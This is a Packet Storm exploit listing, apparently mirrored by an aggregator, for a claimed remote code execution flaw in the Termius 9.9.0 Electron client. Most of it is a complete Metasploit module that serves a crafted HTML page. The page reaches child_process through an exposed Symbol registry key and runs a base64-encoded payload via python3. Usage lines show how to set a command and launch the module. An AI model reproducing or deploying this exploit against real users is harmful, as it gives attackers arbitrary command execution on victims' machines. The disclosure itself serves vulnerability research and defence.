📄 Termius 9.9.0 Remote Code Execution

🗓️ 23 Feb 2026 00:00:00Reported by indoushkaType
packetstorm🔗 packetstorm.news👁 107 Views
Terminus 9.9.0 remote code execution via exposed Symbol registry that enables Node.js access and commands in Electron.
=============================================================================================================================================
    | # Title     : Termius 9.9.0 Remote Code Execution                                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://termius.com                                                                                                         |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module demonstrates a Remote Code Execution (RCE) vulnerability in the Termius Electron application caused by an exposed symbol in the global JavaScript Symbol Registry. 
    				 By accessing a shared Symbol.for() key that unintentionally references preloaded Node.js modules, 
                     attacker-controlled JavaScript executed within the Electron renderer context can gain access to child_process and execute arbitrary system commands. 
    				 The issue stems from improper Electron security configuration, including broken context isolation and unsafe exposure of Node.js internals to the browser environment. 
                     This vulnerability allows full command execution with user-level privileges by simply loading a crafted HTML page inside the affected Electron application.
    
    [+] Usage :
    
    use exploit/multi/browser/termius_symbol_rce
    set COMMAND 'whoami > /tmp/pwned'
    run
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpServer::HTML
      include Msf::Exploit::EXE
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Termius Exposed Symbol Remote Code Execution',
          'Description'    => %q{
            This module exploits a vulnerability where a Node.js 'child_process' 
            object is exposed via the Global Symbol Registry. 
            As it is a technical reference, the Symbol acts as a bridge; 
            allows an attacker to execute arbitrary system commands 
            within the context of the application.
          },
          'License'        => MSF_LICENSE,
          'Author'         => [ 'indoushka' ],
          'Platform'       => %w[win osx linux],
          'Targets'        => [
              [ 'Universal Payload', { } ]
            ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2025-12-25'
        ))
      end
    
      def on_request_uri(cli, request)
    
        p = payload.encoded
    
        cmd = "python3 -c \"import os,base64;os.system(base64.b64decode('#{Rex::Text.encode_base64(p)}'))\""
        
        js_exploit = <<-JS
          try {
            const key = Symbol.for("preloadedModulesKey");
            const proc = window[key];
            if (proc && proc.child_process) {
    
              proc.child_process.exec("#{cmd.gsub('"', '\"')}");
              console.log("[+] Exploit triggered successfully");
            }
          } catch (e) {
            console.error("Exploit failed: " + e);
          }
        JS
    
        print_status("Sending exploit to #{cli.peerhost}...")
    
        html = <<-HTML
          <html>
            <body>
              <script>
                #{js_exploit}
              </script>
            </body>
          </html>
        HTML
    
        send_response(cli, html, { 'Content-Type' => 'text/html' })
      end
    end
    	
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================
23 Feb 2026 00:00Current
6.8Medium risk
Vulners AI Score6.8